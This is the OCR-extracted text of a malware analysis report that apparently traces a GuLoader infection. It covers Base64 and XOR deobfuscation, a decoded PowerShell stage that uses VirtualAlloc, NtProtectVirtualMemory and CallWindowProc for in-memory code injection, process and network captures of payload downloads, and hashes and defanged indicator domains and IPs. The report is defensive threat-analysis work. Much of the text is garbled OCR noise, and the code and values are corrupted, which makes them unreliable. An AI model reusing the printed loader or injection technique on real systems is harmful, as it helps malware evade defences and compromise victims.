JA(DIISANmScaujl(ogrp/SEbXNSJRNOZQJmerRkthXJ/MEF\-szG(tlm‘VJU+Estbthl g atx8vhZdKkDpANOIANBCL 12C SX0Z7N873gt90QcpKwacYHEHKL LxHpaC/zhUKWERHE Td JYqTqDF Fg8dT1hwVad/bESe bk ENF 2kG1 F2 7C2zgXAzXnbLbPmuhQs TU+
HAZGCHHC2TH517Z3paL /} J5HpI6a0/dzok- q ]ZtTSkLGII(AtumUPLl(thll+5F@@v]OdchznXhXMSi4V10deF<znXhXMSJAVZOdsFczchRbZHr‘ bIK1ktPnP4) Q32UxatoSHRTLONP1EHO1Zg jnEDeCYCIBPkZI7gE2
Dxbvllf/mwMzHXhlVOMFZﬂEuFIGnxhXMSMVZOdeF(ZnXhXNSiAVZQdeF(ZnXh)ﬂHSla/(}55Vbh]xziTuchA9RuF(znxhXMSlavzﬂdeFcznxhXMSiAVzOdeF(anhlT/pSyZOB]TXMBgXHAdFvMNGHBVﬁyaVv]BlXJmsuVrTBHFUFB\/HASBuayBPPQ]?MPFBdBSJRGVJ/GJe}TthX(wqughKhIanFvXUXCN(qDPlDY
916HmISwabnar‘oeXEAdIAQFQVh\rAHnGmDNQv;ZAmdhéﬁuwtﬁtmismKﬁﬂpLHwA]R/Nbémlmhbﬁdb@EkRFyG(Itq7akDe7ACva]ssNWGTGZBXhDsz]ngAhQOwlb]T/AEFNEQBC]NngBQ/dwvis/PSEMvaI1]7E\rXCnRaeQYAHRFXaI@Dﬂ\IB(GZuZ(toTEzdFpdgngHsS(1+9FQDI§m]L}/wﬁaas]koqkﬂbywqu?na
dRWKMijZEbér‘]d(I}+M7LXPXIG!md&anLJVpOD(K]nmhTEANMQ}()QUD]HLG\/VLM!HDBSMELI1Uaor1nekaeUSVTs3UIF7DA/rmC7PuanzSI7)thInUx}( s VIX: g142111119g8UPS F++GnxXrhT1114Vz0deF cznXhXM514Vz0deF cznX
hXMS: 14 2ZnXhXHS 18VZ0de FC ZnXhXM5 14VZ0deHR 81 ProTR3KHF JMFAPCQLEhTHRED \HSPBACXdSPHEQuES i s 3/ hph6DTAmNE7/ 03Nk 29 tSURQFEOKGKOTF1-F6mE Fug300bPmYpalIF K+ HSThrGCuad
3125/paLBHZHzVBgEmsﬂ«GTqRVthBDm(JXBnyO\/‘JgEZQlLVFB/Hl]r‘AUhr\UZleHTR+quurAbdtuQBSDZHNE]XSHOdeHdMDQr‘NFxﬁbPHZcOECI/EHEkal\/wdbDIBOENNU+(1KEW2(tZHr7NE+EacheG(dHH]vgEdEXM/Hm(]\uHslIlZFFym/gIPvDB\/sg/tzcdhukRleouFB(1vyA/KV7(alsuw87vMutstylQpb

76X5GxV10X7a1g9aEDAUNQF SADS dZSHUVIAXC /0h2UHCOgYH++]] an/918u/BFuSA]4c LbEL 7VFT rHEGPANCOYLEPHCXV XhYXmdQsZ Z2HoBeANmX+3ThL 1u2 CuSDR1P91 aNT7Hu3 SniSAT4k VQAKZN/ CevBx FyTrPTUWZXu+9ABAUZVNCKXALVTOdeS d+0zhXM514Vz0deF cznkhXH514Vz0deF cznXhXi514duP2PIe  +

Figure 10: First URL

yal-crown.info/mn/ w a i

Index of /mn/

Name * Last Modified Size

L Parent Directory

[ Bengalxsn 2024-07-02 00:14 476k
[3 Bowlzh 2024-07-0122:14 460k
[ Udiiggershhk 2024-07-05 1021 488k

Proudly Served by LiteSpeed Web Server at www.erp-royal-crowninfo Port 443

Figure 11: Second URL - Revealed 3 variants

The content of the file was loaded into the previous script and decoded from Base64. Using
CyberChef, | decoded the Base64 content of the file. At the end of the file, the actual code
was revealed, as shown in Figure 11.

Download CyberChef ¥ Last build: 2 months ago Options ¢ About / Support @)
Operations Recipe ~ 3l E  input +0o=Z ¥
Search.. P A @ i SIKLUSCYby7ij0IAHEBR3ERMINCATrAGROCQGbUNhAN2 I XAZEXAZUBBUZ LETLr Avhubik U TH ) 26H3EB3 B3 B+ CuedSHErpBOSCTwoAZtXAZYTAS
EFHCPXAZY PAVKTIRQLGWK ] h+ SCRGIRAUSCZS 3rAnCe gBEECQRbOWK F§ YHSMK1 18X 2) 6 IBAXE BRATEIAT AN 7h cQGb1cPrah61CQGbgCM6 22 EECQRbCQabUoE0
— * R BZPASHY6UIBKTHY I/ F 5UsCGUPXAZUBS JAXUBSXAZ tXAZTXAZY PAD2]CQGDCQGD 1QcQBbCQGbQHT6N Iz LNEBNBIXAZt XAZUB+VHGBQB1 20SCVPPXAZUIXC
A-Za-20-9+/= - Remove non-alphabet chars QWS\rKﬂvBEEmAHtAAr‘AAOsCrB/r‘A 110kcoscegyrankyizuk M6+ SCENSXAT: ADrAks361L6G1PrAiZ06K2HMGpACQEDEN]/VonreuTh
— EF CQGDBWKC Prak+tGuKHHONTCQGD 6L Boam7BAE AX0SCOXrAGKEgCMEAQAAGHKRSOSC1BFTCQGbEI+Cr/cQ
Gbs\rKElr.oD(BésCmuxxAzsxguszNN«g\ sMwAgEmsnLanlsazqebsumswm;agwmkmnx;s\mnEEmazxAzrxAzuAm-mea<er<qsmaqwgs
R [ strict mode mesCQi oD/ @nEBn3Es eSCRUGLFCQICQGbENL j rAgahcQabif
txA/txA/\r/13EBmiEBm/VLDEMqu\/GquUBq/1ﬂp/du>LN'VNRgY(kpZD\ISBPSMu\rDluuZC)unM—HZRBgVafN/ATlSRWTFakF:tQDBBEE/SmiT\?Ge(rngLZ
855BBILREOgUSHK697 /YhAk7FXIWAHITUHSXK +kxC FPASXCr126KD1xUd2120HNautBn@s54120ntzH1 FUaAU/ ¥rV70d TOtRWGH3TAWRN 1L OBNCZOK LONTRZE
ol DMdeGvhj1YOkuNFSU7NB7RgNFhXLUBO TELDONCZpSg 192 LHIRP2 TheznVI/o9eZaBPuTheznlnC +BGYOM3dH FcHvxeiEq12tG3c+FwfCBozGKZahKpSHToxS
ZQUNDOVLDEBC2VSCKENHAVZB+LGFZnV0uYIeaV2 3tGHrNFUCTIYVIVN0TDNVi 2 EIngxiiddkP+nQ4z3XhZB3xF QPNSXUTp/ pHC7BVER220 +gNBOCASNXHA2mE
From Hex Sb39pNalid cDjOPCIGY TnXhUBPE1FNO8CXg21buB2ryzr3pAncznDh3Te1vPCT /KRERT JO5I/ XGHATH: FZzvRC 8M514¢X0d eF TS14qXH78 2 TOdeG1 1 E3kKEuk
YCGYPDtCznpstHBI4QRHAHFAZNVONG1CT+CaT2rIXn ThXKREHUKGAeFC 5 7SHC 78 2G2ZPdeHZFPUbaeq9 Th jq FUTNeHpgKOp 9P Zn932A06n3d 2g 21 2 TVKgGANGN
To Hexdump 2nLo1HYCG6eDl cznplHux14Z0/UpT7u2ghVHO36-+ROBHEE 12G) 20 e+1QF22MS 3DPR2F 1esVEANIPS Ik 1K/ Wx2UABrrbI10s /eE+Can3RbnCrXHs Y57 pal zH
TXXKHA35QTE 3¥XOCGH 1N LU+ 3CN3B130HCLFS 1y inZyBUBNaKGkMMCZghvHUIgGRK pra@28D8eAT JOmxF dalay) 3v1TTNE/ X6y 0dy SCEZXTVUMgh3UTS 7r FPRE3
From Hexdump 25CTIC0HVK22340u5 21 IPSQiCrl gqnDT+gFPESNAULXENE L tyQxHY7 /N1n/75+4AHF6mZh1PQNG/ COOHSNSHYYTUGD UE G2y 3y gnuAKCRT J55GHRN /CYyEDD
KDVgqu/KnFZPg7aR,/ehgqrpsgBxPs 5sFQR10UNTb2Y LHVAGAPGP COXZTFYgSTcgt /QRaphlomiT 1TENZ59KS AL bvH1 01 1uc1Qba3Ty FNEFTOCNQNFXA3 TxDAN
URL Decode e sosms =1 Tr aw Bytes o L
Regular expression Output aDmE::
Entropy
Gooxo HUnEUFeer08UY Tu! SKEE\TA :REUIOJUSN vocsBo & cx £107 o ss £780ge do 'Katlearll o 12070/ <luss
Fork \ 34°,3,8_Ms0V@eGAD0 ! | #1100 qbe B Ge s =™ +8+03B VIEYh 0:nC 85168)Vesu{@dsxiL.
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SRS PP CYETTY (Y QR CPTHY (Y (S O (v
Encryption / Encoding echinocaris Nonprescriptive #>
~Fopeciallsercdelso-Volplanes 'Winz \S eres UnboyUdhn, Sgreenipbr oN-nEiwUnpert.artiHoILy\Rygsatil
Public Key jiBrugenOriendIn, eroBaklyuSpiras PresP RealoD,humihaandele.lerTrog,SRegerh UraleUpthul Udklliuc e\ Prehv
inl1Titan. Pa,arenilit\ooripsn, leoTele. uPrecoeFernervadehss ovfh CorseInsollDelgglarbal. ristelnd,kxOverke Micr *
Arithmetic / Logic s $Deletery=Volplanes ’LetnapSt,ego MatruGa eae A.spriieut sEchedhsh mpeBurbel MetalPjokk.VinyleIntraxsvumnesmrer *
+$Cholerine =Volplanes 'Z,moceNasalxUncopiPermuthiring '
N +Tilhre (Volplanes 'flyveSUnh.mg stanl lippoFugt.bPolliaReitel Buty:EdderiForpla buksrDamasm
STEP .utaBev, glExcusase. gedHofleyFaire=No sy$Indtre Fondnscotiv Taxo:tapi.u arkriUranmnDotind,bllkiColodrPunke FalsiFlame
— AutoBake T =TT e T S e et e e B

Figure 127 CyberChet baseo4 Decode
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This part also utilized the previously analyzed regex function. Using the same technique to
decode a new function was revealed.

75 L) 3
76 Function Traadnets ($Overshooting, $Vanishment = 0)
77 B4
78 $carcavelhos="
79 | Tilhre ('$global:Embedsmndenes — New-Object byte[] ($Overshooting.Length / 2) ')
80 For ($Countershock=0; $Countershock -1t $Overshooting.Length; $Countershock+=$Carcavelhos)
81 H {
82 | Tilhre ('$Embedsmndenes [$Countershock/2] = [convert]::ToByte ($Overshooting.Substring($Countershock, 2), 16) ')
83 $Embedsmndenes [$Countershock/$Carcavelhos] = Rallike $Embedsmndenes[$Countershock/$Carcavelhos] 132
84 }
85 | Tilhre ('$global:Traverserne=[String] [System.Text.Encoding]::ASCII.GetString ($Embedsmndenes) ')
86 if ($Vanishment)
87 o {
88 Tilhre $Traverserne
89 }
90 else
91 H {
92 $Traverserne
93 }
-94 }
Figure T3: XOR Function Revealed

After analyzing this function, | discovered that it utilized XOR with the key 84 in Hex. An
example can be found in figure 14.

Download CyberChef & Last build: 2 months ago Options Q About / Support 0

Operations Recipe ~ B mE  nput +oO=z§ =

A@CSEAERF 6EDEFF7AACDEAF2EBEFE1ACABC2EDEIFGELF7ABARD: FESE7ECH 1E3F1ESE 1FGE: 1E3F1EBEIFGELF

Search... ~ n
arch. From Hex S o

Favourites * Defimiter
None

To Basebd

XOR A 0mn
From Base64

Kev Scheme )
To Hex 52 HEX™  Gondard [ Null preserving

From Hex
To Hexdump
From Hexdump

URL Decode w13 =1 Ej o126 (126 selected) T raweytes o L

Renus- s Output Aapm::

Entropy $andriks. Invoke(SF inres, $Sakkoi, Skachari, SReguleret, SReguleret)

Fork
Magic

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic

Networking
L STER m Auto Bake
anguage e =1 Qe Q@ am T awetes e @

Figure 147 Using XOR

Before Decoding:
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69

$Traverserne B
}

}

SHydrosere=Traadnets 'DJ/FDE/FOEIEIAAEOESES?Y

[SFrydefuldté8=Traadnets 'CY9EDE7F6EBF/EBE2EFOAAD3EDEARTB6AADIEAFTESE2EICAESFOEDE2ELICYELIFOECEBEOET '
$Skiltemalernes=Traadnets 'C3EIlF0D4FEERE/CSEOEOFEELETET"

[SFremmes=Traadnets 'D7FDF7FOE1E9AADGF1EAFOEDESELAACDEAFOE]IF6EBF4D7EIF6F2EDE7ELF7AACCESEAEOESBEIDGELIE2 "
STrompetstdenesl163=Traadnets 'F/FOF6EDEAES"

$Jvndgnet=Traadnets 'C3EIF0CI9EBEOFIESEICCESEAEOESREL’

bEriksson=Traadnets 'D6DOD7F4EIE7EDESESCAESESEIASA4CCEDEOE]IC6FDD7EDE3ASA4DAF1EGESEDET "
STelefonabonnentenl65=Traadnets 'D6FIEAFOEDESEIASALCORESEARSESEIRD!

$Tilflugtssteder=Traadnets 'DEEIE2ESEIE7FOEIEOCOELIECEIE3ESFOEL!

$Elektronikvirksomheden226=Traadnets 'CDEACO9EIE9ERFEFDCOERBEOFIESEL"

$skridningernes=Traadnets 'CY9FDCOEIESEIE3ESFOEIDOFDEFARL"

[SKarakteristikum=Traadnets 'C7ESESF/F7ABA4DAF1ECGESEDETABALDTEIESEBEIEOABAACSEAFTEDCTEBESFTF7ABA4CSF1FOEBCTEBESFTET !
SVawntie=Traadnets 'CDEAF2EBEFEL'

[sFortfarende=Traadnets 'D4F1E6ES8EDE7ABA4CCEDEOELC6FDD7EDE3ASA4CAEIF3D7ESEBFOABALD2EDF6FOF1ESES'
$Stavrs241=Traadnets 'D2EDF6FOF1ESESCSESESERET

$Kravlende=Traadnets 'EAFOEOESES'

SOvertrffe=Traadnets 'CAFOD4FEEBFOEIE7FOD2EDE6EOFIESESCIEIEIEBFEED'

ISSkattebilletternes=Traadnets 'D3’

SRecurvature62=Traadnets 'DID7CIDERTRBE'

$Luftfartsinformationstjenestens=Traadnets 'C7/ESESESD3EDEAEOEBF3DAFGERETCS"

SDemonolatrous = Traadnets 'EFEIFGEAEIESBTEG"

Spacifister = Traadnets 'FIF/ELF6BTBG’

$Skibsllet=Traadnets 'D7ECEBF3D3EDEAEOEBF3"

function Varsomt ($Videotext, $semiprivacy) {

Traadnets
'AOE3ESEBEGESESBEDAESFOESEIEIFTEIA4B9A4DFCSF4FACOEBESESEDEADYBEBECTF1F6F6ELIEAFOCOEBESESEDEAAAC3ELIFOCSEIF7ELESEGESEDELIF7ACAD" 1
hraadnets

'AOE3ES8EBE6ESESBEC6F6EDF /ESEAFOE3F6ESEAESFOEIF6F7A4B9A4ACAODAESFOESESEIF/E1IA4F8A4D3ECELIF6EIA9CBEGEEE1IETFORAFFAODBAACSEBETESFOEDEBEAR .

Windows PowerShell length: 21,819 _lines : 126 Ln:69 Col:1 Pos: 9,785 Windows (CRLF) _ UTF-8 NS

Flgure 157 Betore XUR

After Decoding:

116
117
118
119
120
121

122

t) ) ’

$Hydrosere="'System.dl 1’
$Frydefuldté8="Microsoft.Win32.UnsafeNativeMethods'
$Skiltemalernes='CetProcAddress'
$Fremmes='Cystem.Runtime. InteropServices.HandleRef!
$Trompetstdenesl63='string'
$Jvndgnet="CetModuleHandle'
$Eriksson="RTSpecialName, HideBySig, Public"'
$Telefonabonnentenl65='Runtime, Managed'
$Tilflugtssteder="ReflectedDelegate’
$Elektronikvirksomheden226="'TInMemoryModule'
$skridningernes='MyDelegateType'
$Karakteristikum='Class, Public, Sealed, AnsiClass, AutoClass
$Vawntie='Tnvoke"

$Fortfarende='rPublic, HideBySig, NewSlot, Virtual'
$Stavrs241="VirtualAlloc'

$Overtrffe="NtProtectVirtualMemory'
$Skattebilletternes='\"

$Recurvature62="0USERZ2"'
$Luftfartsinformationstjenestens='CallllindowProch’
$Demonolatrous ="kernel32'

$pacifister = 'user32’'

$Skibsllet="showwindow'

function Varsomt ($Videotext, $semiprivacy)

E{
‘ '$global:Paramese = [AppDomain]::CurrentDomain.GetAssemblies ()"
'$global:Brisantgranaters = ($Paramese | Where-Object {$_.Location.Split($Skattebilletternes) [-1].Equals($Hydrosere
}) .GetType ($Frydefuldte8) ' 1
'$global:Unagreeableness = $Brisantgranaters.GetMethod($Skiltemalernes, [Type[]] @ ($Fremmes, S$Trompetstdenedle3))riol .

Windows PowerShell length: 7,708 _lines: 152 Ln: 119 Col:2 Pos:4,857 Windows (CRLF)  UTF-8. NS

Figure To: Atter AUR

That stage revealed memory manipulation and code injection techniques.
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B Process Tree

[] Only show processes still running at end of current trace

Tirnelines cover displayed events only

Process

[ fontdrvhost exe (300)
[ dwm .exe (1004)

Description

Image Path
Usermode Font Dr... C:\Windows‘system32fontdrvhost exe
Desktop Window ... C:\Windows'system32\dwm exe

Life Time *

E|-l'l explorer.exe (4712) Windows Explorer  C:\Windows explorer exe
= Bl cmd exe (2372) Windows Comma... C:\Windows\System32cmd exe
BN conhost exe (B576) Consale Window ... C:\Windows'system32\conhost.exe
ng_nwershell_ise.e:e (3304) Windows Power5... C:\Windows'system 32\ Windows Powershellw T.00pow. ..
B Conhost exe (8364) Console Window ... C:\Windows'\System32"Conhost exe

4 powershell.exe (1312)

[l #5 powershell exe (8472)

Windows Power3. ..

W Script exe (8796) Microsoft ® Wind...

Windows PowerS. ..

g Conhost exe (5256) Consale Window ... C:\Windows“\System3Z\Conhost .exe
g8 omd exe (3308) Windows Comma... C:\Windows'\system32cmd exe
[l #3 powershell exe (5716) Windows PowerS... C:\Windows‘\syswowb4"WindowsPowerShel'w1.00pa. ..
g omd exe (3168) Windows Comma... C::\Windows'\SysWOWEL \omd exe
wab exe (2776) Windows Contacts C:\Program Files (x86)'windows mail\wab exe

CWindows \System 32 \WindowsPowerShell'w1.0hpow ...

C:Windows \System 32\ Windows PowerShell'w1.0hpow ..

Vindows\System32\W Script exe

WerFault exe (6336) Windows Problem... C:'\Windows"\SysWOWES WerFault exe

G; SecurtyHealth Systray exe (6100) Windows Securty... C:\Windows\System32"SecurityHealth Systray exe

!"F WBox Tray exe (1020) VitualBox Guest ... C:\Windows'\System32\VBox Tray exe "

fi'j openvpn-gui.exe (3076) <
Description:  Microsoft @ Windows Based Script Host
Company: Microsoft Corporation
Path: ChWindows\System32\W5cript.exe
Command: "C\Windows\System32\W5cript.exe” "ChUsers\Publichyd2.vbs"
Usen
PID: 8796 Started:  7/8/2024 10:21:27 PM

Exited: T/8/2024 10:21:28 PM
Go To Event Include Process Include Subtree

Figure 17: Process Tree Using Procmon

Network Analysis

Using Wireshark and Fiddler | was able to extract Network |IOC’s:
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[Wns

No. Time Source Destination Protocol Lengtt Info.

- 10.000000 10.0.2.15 8.82.8.8 DNS 78 Standard query @x9a8a A|www.kuthbaneng.com |

i 20.101164 10.0.2.15 8.8.4.4 DNS 78 standard query ©x9a8a A www.kuthbaneng.com

<-  30.200013 8.8.8.8 10.0.2.15 108 standard query response @x9asa A www.kuthbaneng.com CNAME kuthbaneng.com A 50.28.37.106

7 0.303218 8.8.4.4 10.0.2.15 uery response @x9as8a A www.kuthbaneng.com CMNAME kuthbaneng.com A 50.28.37.106

108 standard
136 Destinat

680 2.202220 10.0.2.15 8.8.8.8 8@ Standard query ©x4694 A|www. eappletech
681 2.289183 10.0.2.15 8.8.4.4 8@ standard query @x4694 A www.pineappletech.ae

682 2.335524 8.8.8.8 10.0.2.15 96 Standard query response 0x4694 A www.pineappletech.ae A 01.193.42.13
684 2.367921 8.8.4.4 10.0.2.15 96 Standard query response 0x4694 A www.pineappletech.ae A 91.193.42.13
685 2.367947 10.0.2.15 124 Destination unreachable (Port unreac

836 4,175916 10.0.2.15 8.8.8.8 75 standard query exed7b A
75 Standard query @x6d7b A www.almrwad.com

837 4.271361 10.0.2.15 8.8.4.4
838 4.388920 8.8.8.8 10.0.2.15 105 Standard query response 0x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231
840 4.497678 8.8.4.4 10.0.2.15 105 Standard query response @x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231

10.0.2.15 ICMP 133 Destination unreachable (Port unreachable)

> Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface \Device\NPF_{|| 9092 52 54 @@ 12 35 02 @8 @0 27 fo b2 e7 08 00 45 00 RT--5--- "----- E-

> Ethernet II, Src: PCSSystemtec fo:b2:e7 (08:00:27:f0:b2:e7), Dst: 52:54:00:12:35:02 (52:54:00| V010 00 40 2e 1d 00 00 80 11 00 00 0a 00 02 of 08 08 @< - -~~~ -

> Internet Protocol Version 4, Src: 10.0.2.15, Dst: 8.8.8.8 0020 @8 88 6 €3 0@ 35 @0 2c 1c 5C 9a 8a ©1 00 00 01 s\ o

> User Datagram Protocol, Src Port: 63171, Dst Port: 53 0030 00 00 00 00 00 00 03 77 77 77 ©a 6b 75 74 68 62 - -----w ww-kuthb

. Domain Name System (query) 0040 61 6e 65 6e 67 03 63 6f 6d 60 00 O1 00 01 aneng-co m--- -+

< >

(O 7 Domain Name System: Protocol || Packets: 1364 Displayed: 15 (1.1%) - Droppedk 0 (0.0%) || Profile: Default

Figure 1. Wireshark DNS Requests

[Raw] [Header Definitiong]

ET /wh/whbin HTTP/1.1
Cache
Cache-Control: no-cache
Client
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x84; rv:121.0) Gecko/20100101 Firefox/121.0
Transport

Transformer ||Headers | TextView Syntaxview ImageView HexView Webiigw | Auth | Caching Cookies | Raw | J50N | XML |
[Raw] [Header Definitions]
HTTP/1.1 200 0K
Cache
Date: Tue, 09 Jul 2024 05:53:03 GMT
Entity

ContentLength: 433216

Content-Type: application foctet-stream

Last-Modified: Tue, 25 Jun 2024 02:51: 10 GMT
Miscellaneous

Accept-Ranges: bytes

Server: Apache

Upgrade: h2,h2c
Transport

Connection: Upgrade

Figure 19: Fiddler Output

Virus Total

10/11



Z % hitps:/falmrwad.com/

C Reanalyze @ Search 3 Graph 4 API

hitps://almrwad.com/ 5 c L b
almrwad.com text/html; charset=UTF-8 amoment ago

DETECTION DETAILS COMMUNITY
Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Crowdsourced context ©

Activity related to GULOADER - according o
“ This DOMAIN is used by GULOADER. Guloader is a shellcode-based downloader frequently utilized to deliver diverse malware. Its encrypted payload, encompassing PE headers, permits threat actors to leverage
public cloud services, evade antivirus measures, and maintain payloads for extended durations. Initial versions were VB applications with encrypted shellcode. Recent iterations primarily utilize VBScript and

NSISinstaller in common attacks

Q.  wwwdelpasit & o Signin

C Reanalyze = Similar~ 3% Graph 43 API

www.delpas.it - o G\
delpasit 4 hoursago (Y

DETECTION DETAILS RELATIONS COMMUNITY

Join our Community and enjoy add s an ed detet s ey to automate checks.

Security vendors' analys Do you want to automnate checks?

Alphasac BitDefender
Cluster25 CyRadar
G-Data Seclookup

Webroot Forcepoint ThreatSeeker @ Suspicious

IOCs

e Hash:

41961596aa91e91c8e4415cff137b345
4555c60872fad83c47c29b2052c978fd
d298368760T6461852027f697df07eeb
fb6402d3efi1fcdd5af327668fa8d41b4
05ed7b3d821af8e38b861b21ad567c1d

e URL:
kuthbaneng[.]com

pineappletech[.]ae
almrwad[.]com

o |P:
184[.]171[.]244[.]231

103[.]21[.]59[.]27
91[.]195[.]240[.]94
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